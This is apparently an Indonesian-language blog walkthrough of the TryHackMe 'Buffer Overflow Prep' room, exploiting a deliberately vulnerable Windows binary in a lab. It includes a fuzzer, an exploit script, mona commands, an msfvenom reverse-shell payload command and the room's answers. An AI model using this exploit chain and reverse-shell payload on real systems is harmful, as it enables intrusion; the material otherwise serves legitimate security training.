Tryhackme — Buffer Overflow Prep (Bahasa Indonesia)

Alex
10 min readAug 20, 2023
https://tryhackme.com/room/bufferoverflowprep

Room ini menggunakan VM (Virtual Machine) Windows 7 32-bit dengan Immunity Debugger dan Putty yang sudah terinstall. Windows Firewall dan Defender juga sudah dimatikan supaya proses exploitnya bisa lebih mudah.

Kita bisa login ke VM tersebut via RDP (Remote Desktop Protocol) dengan kredensial berikut: admin:password. Jika menggunakan xfreerdp sebagai RDP client, berikut perintahnya:

xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /smart-sizing /t:"THM - Buffer Overflow Prep"

note:

  • MACHINE_IP diganti dengan IP VM yang kita dapatkan setelah VM tersebut di-deploy.
  • Pastikan juga vpn sudah terkoneksi dengan network THM.
deploy the machine

Kalau ada network location ini, pilih Home Network.

set network location to “Home Network”

Di Desktop akan ada folder “vulnerable-apps”. Di dalamnya ada beberapa binary yang vulnerable atau rentan terhadap simple stack-based buffer overflow. Perlu dicatat bahwa room ini tidak mengajarkan buffer overflow dari nol.

Oke, kita masuk ke sesi latihan.

[Task 2 — oscp.exe (OVERFLOW1)]

Immunity Debugger

Klik kanan di Immunity Debugger dan pilih Run as administrator.

Untuk membuka binary-nya, klik File -> Open -> Desktop/vulnerable-apps/oscp/oscp.exe, klik open.

File -> Open
Desktop/vulnerable-apps/oscp/oscp.exe

Untuk menjalankan binary oscp.exe di Immunity Debugger, klik Debug -> Run. Maka, status “Paused” di pojok kanan bawah akan berubah menjadi “Running”.

Debug -> Run
paused
running

Setelah di-run, akan muncul satu terminal yang berarti oscp.exe sedang berjalan dan menunggu koneksi (listening) di port 1337.

oscp.exe runnig and listening on port 1337

Di mesin host, kita dapat menyambungkan koneksi ke VM Windows tersebut di port 1337 via netcat dengan perintah berikut:

nc $VM_IP 1337
connect to VM machine port 1337 where oscp.exe running

Mona Config

Script mona juga sudah terinstall di Windows VM tersebut, jadi kita akan mengkonfigurasi folder untuk menyimpan file2 mona dengan perintah berikut, yang dapat diinputkan di kolom di bagian paling bahwa Immunity Debugger:

!mona config -set workingfolder c:\mona\%p
set mona working folder

Fuzzing

Sekarang, kita akan mengirimkan payload sebanyak mungkin secara bertahap agar program oscp.exe tersebut berhenti berjalan (crash). Kita akan melakukannya dengan script fuzzing python yang sudah disediakan di room ini. Jadi, tinggal copy-paste saja. Buat di mesin host atau attack box kita. Jangan lupa sesuaikan IP-nya dengan IP vpn, tun0.

#!/usr/bin/env python3

import socket, time, sys

ip = "VM_IP"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
fuzzer.py

Script tersebut akan mengirimkan payload berupa string huruf A sebanyak 100 (100 bytes) setiap satu kali pengiriman dan akan bertambah 100 bytes di pengiriman payload berikutnya hingga akhirnya berhenti jika program oscp.exe crash.

Jalankan file fuzzer.py tersebut dan tunggu hingga script berhenti:

python3 fuzzer.py

Ketika fuzzer.py tidak lagi jalan, artinya program oscp.exe sudah crash. Dari ss berikut, dapat diketahui bahwa oscp.exe crash ketika kita mengirimkan 2000 bytes payload.

oscp.exe crashed at 2000 bytes

Kita juga bisa memastikan di Immunity Debugger, status program binary oscp.exe kembali berubah menjadi “Paused” karena program crash.

status: Paused

Crash Replication & Controlling EIP

Sekarang, kita akan buat script exploit.py.

#!/usr/bin/env python3

import socket

ip = "MACHINE_IP"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
exploit.py

Selanjutnya, kita akan generate payload dengan jumlah 400 bytes lebih banyak dibanding jumlah bytes yang tadi membuat oscp.exe crash (2400 bytes). Kita akan generate payload tersebut dengan script ruby yang sudah tersedia di metasploit:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400
pattern_create.rb

Copy-paste payload tersebut ke variabel “payload” di exploit.py.

Berikutnya, kita akan me-restart oscp.exe di Immunity Debugger karena tadi programnya crash. Untuk merestart, klik Debug -> Restart. Jangan lupa untuk menjalankan oscp.exe dengan klik Debug -> Run sehingga status “Paused”-nya berubah menjadi “Running”. Kita akan sering melakukan ini di Immunity Debugger setelah oscp.exe crash.

Debug -> Restart

Next, jalankan script exploit.py.

python3 exploit.py
running exploit.py

Script exploit.py akan meng-crash oscp.exe lagi. Kita akan menjalankan perintah mona berikut di kolom di tempat kita men-setting working folder tadi. Sesuaikan distance-nya dengan jumlah payload yang tadi sudah kita set (Karena tadi saya set payload di 2400 bytes, maka distance di sini adalah 2400).

!mona findmsp -distance 2400

Dengan perintah tersebut, mona akan menampilkan window “Log Data”. Kalau tidak muncul, kita dapat membukanya secara manual di Window -> Log Data.

Log Data Window

Kalau kita mau balik ke Window sebelumnya, kita dapat memilih Window -> CPU.

Window -> CPU

Di output yang terdapat di Log Data Window, kita bisa melihat baris mengenai register EIP berikut offset-nya dengan format seperti ini:

format baris
EIP register and its offset

EIP contains normal pattern : 0x6f43396e (offset 1978)

Edit script exploit.py dan set variabel “offset” ke 1978 (karena tadi kita tahu register EIP offset-nya di 1978). Kita juga akan mengosongkan kembali variabel “payload” dan mengisi variabel “retn” dengan BBBB.

edit exploit.py

Restart oscp.exe di Immunity Debugger dan jalankan lagi script exploit.py. Seharusnya, register EIP akan berubah menjadi BBBB (alias 42424242).

Note: 42 adalah representasi karakter B dalam hexadecimal.

EIP register BBBB

Finding Bad Characters

Selanjutnya, kita akan men-generate bytearray menggunakan mona dengan meng-exclude “null byte” (\x00). Sebagai catatan, lokasi file bytearray.bin yang akan tergenerate nanti akan tersimpan di working folder mona yang di awal sudah di-set sebelumnya, yaitu di C:\mona\oscp\bytearray.bin.

!mona bytearray -b "\x00"
bytearray.bin
bytearray.bin at mona working folder

Sekarang, generate string “bad-chars” yang identik dengan bytearray. Kita akan gunakan script python berikut untuk men-generate bad-chars dari \x01 hingga \xff:

for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
generating bad-chars using python script

Setelahnya, update script exploit.py dengan mengisi variabel “payload” dengan string bad-chars yang sudah di-generate tadi.

Restart oscp.exe di Immunity Debugger dan jalankan lagi script exploit.py. Catat address ditunjukkan oleh register ESP dan inputkan address tersebut dalam perintah mona berikut:

!mona compare -f C:\mona\oscp\bytearray.bin -a <address>
ESP register address

Akan muncul popup window dengan label “mona Memory comparison results”. Kalau tidak muncul, bisa dibuka manual di menu Window -> mona Memory comparison results. Window tersebut menampilkan hasil dari perbandingan karakter-karakter yang berbeda di memory dengan apa yang di-generate di file bytearray.bin.

“Tidak semua yang tampil di Window tersebut adalah bad-chars. Kadang, satu bad-chars dapat menyebabkan byte berikutnya juga ikut corrupted, atau bahkan berdampak ke keseluruhan string setelahnya.”

compare bytearray and bad-chars with mona command

Bad-chars pertama yang ada di list yaitu \x00 karena tadi kita sudah meng-exclude-nya dari file. Generate kembali bytearray di mona yang meng-exclude bad-chars yang baru, jangan lupa tetap sertakan dengan \x00. Next, update juga variabel “payload” di script exploit.exe dengan menghapus bad-chars yang sudah ditemukan tadi.

Restart oscp.exe di Immunity Debugger dan kembali jalankan script exploit.py yang sudah diedit tadi. Ulangi perbandingan bad-chars sampai hasil akhir perbandingannya menunjukkan status “Unmodified” yang artinya tidak ada lagi bad-chars.

— — — PROSES PENCARIAN DAN ELIMINASI BAD CHARACTERS — — —

Oke, kita akan coba cari satu-satu bad-chars-nya, dimulai dengan karakter setelah \x00, yaitu \x07.

Di Immunity Debugger:

generating new bytearray without \x00 and \x07

Di script exploit.py, kita hapus karakter \x07:

remove \x07 from payload

Restart oscp.exe di Immunity Debugger. Jalankan exploit.py. Copy register ESP dan masukkan ke perintah mona untuk compare lagi:

new ESP register

Berhasil! Ternyata \x07 adalah bad-chars, karena setelah kita menghapusnya, karakter setelahnya, yang mana adalah \x08 juga ikut hilang. Ingat bahwa bad-chars dapat mengakibatkan karakter setelahnya juga ikut menjadi bad-chars (?). Lihat catatan sebelumnya (di-bold italic)!

Sisa bad-chars-nya adalah \x2e, \x2f, \xa0, dan \xa1.

remaining bad-chars: \x2e, \x2f, \xa0, \xa1

Oke, selanjutnya, kita akan coba karakter berikutnya, yaitu \x2e.

Di Immunity Debugger:

generating new bytearray without \x00, \x07, and \x2e

Di variabel “payload” dalam script exploit.py, kita hapus karakter \x2e:

remove \x2e from payload

Restart oscp.exe di Immunity Debugger. Jalankan exploit.py. Copy register ESP dan masukkan ke perintah mona untuk compare lagi:

new ESP register

Wokehh! Nice! Lagi-lagi benar \x2e adalah bad-chars, karena setelah kita hapus, karakter berikutnya yaitu \x2f juga ikut hilang.

Sisa bad-chars-nya adalah \xa0 dan \xa1.

Oke, kita coba lagi, mudah2an \xa0 adalah bad-chars terakhir.

Di Immunity Debugger:

generating new bytearray without \x00, \x07, \x2e, and \xa0

Di script exploit.py, kita hapus karakter \xa0:

remove \xa0 from payload

Restart oscp.exe di Immunity Debugger. Jalankan exploit.py. Copy register ESP dan masukkan ke perintah mona untuk compare lagi:

new ESP register

Yey! Status comparison sudah “Unmodified”. Artinya, sudah tidak ada lagi bad-chars dalam payload kita!

status: Unmodified

— — — PENCARIAN DAN ELIMINASI BAD CHARACTERS SELESAI — — —

Finding a Jump Point

Selanjutnya, kita akan menjalankan perintah mona berikut dan pastikan opsi -cpb disesuaikan dengan bad-chars yang sudah kita temukan tadi, termasuk \x00.

Note: bad-chars yang sudah kita temukan tadi ada 4, yaitu \x00, \x07, \x2e, dan \xa0.

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Perintah tersebut akan mencarikan semua instruksi “jmp esp” berikut dengan address-nya yang sudah tidak mengandung bad-chars. Hasil tersebut dapat terlihat di window “Log Data” (kalau gak muncul otomatis, bisa dibuka manual di menu Window -> Log Data).

9 jmp esp registers with their addresses

Kita bisa pilih salah satu address, kemudian kita akan meng-update script exploit.py dengan memasukkan address tersebut sebagai value dari variabel “retn”. Perhatikan! Tulis address-nya dalam urutan terbalik (karena sistemnya adalah little endian).

Di sini, saya akan pilih address yang paling atas, yaitu 0x625011AF. Jadi, saya akan inputkan address tersebut dalam urutan terbalik di varibel “retn”, yang berarti dimulai dengan \xaf terlebih dahulu, lalu disusul \x11, \x50, dan \x62:

retn variable

Generate Payload

Jalankan perintah msfvenom berikut di mesin kita, sesuaikan IP Address di LHOST (gunakan IP tun0), dan masukkan semua bad-chars yang sudah kita temukan tadi sebagai opsi di tag -b.

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
generating msfvenom payload

Selanjutnya, copy payload tersebut dan paste-kan di variabel “payload” dalam script exploit.py dengan notasi berikut:

follow the notation

Prepend NOPs

Karena encoder tadi digunakan untuk men-generate payload, artinya, kita perlu space di memory agar payload-nya nanti dapat di-unpack. Jadi, kita dapat menambahkan 16 bytes karakter \x90 di variabel “padding”.

preparing for exploitation

Exploit!

Jika variabel prefix, offset, retn, padding, dan payload sudah di-set dengan benar di script exploit.py, kita dapat melakukan eksploitasi buffer overflow untuk mendapatkan reverse shell. Jalankan netcat listener di host dengan LPORT menyesuaikan port yang tadi di-set di perintah msfvenom (port 4444). Restart program oscp.exe di Immunity Debugger dan jalankan script exploit.py.

Dan…

BOOMM!!

exploiting Buffer Overflow to get reverse shell
  • What is the EIP offset for OVERFLOW1?
  • In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW1?

Jawaban untuk kedua soal itu tentu sudah kita temukan…

Oke. Sekian dulu untuk exploitasi buffer overflow. Sebenarnya, masih ada 9 challenge lagi, OVERFLOW2 — OVERFLOW10, tapi pada prinsipnya, untuk menjawab soal2 itu, kita hanya perlu melakukan proses yang sama seperti yang sudah kita lakukan tadi.

Stack-based BOF exploitation process in a nutshell:

  1. Find the bytes that crashed the program/binary.
  2. Find the EIP offset
  3. Look for (and remove if exists) the bad chars
  4. Find the jump point
  5. Exploit!
:v

--

--

Alex

A college student. A writer. Cyber security enthusiast.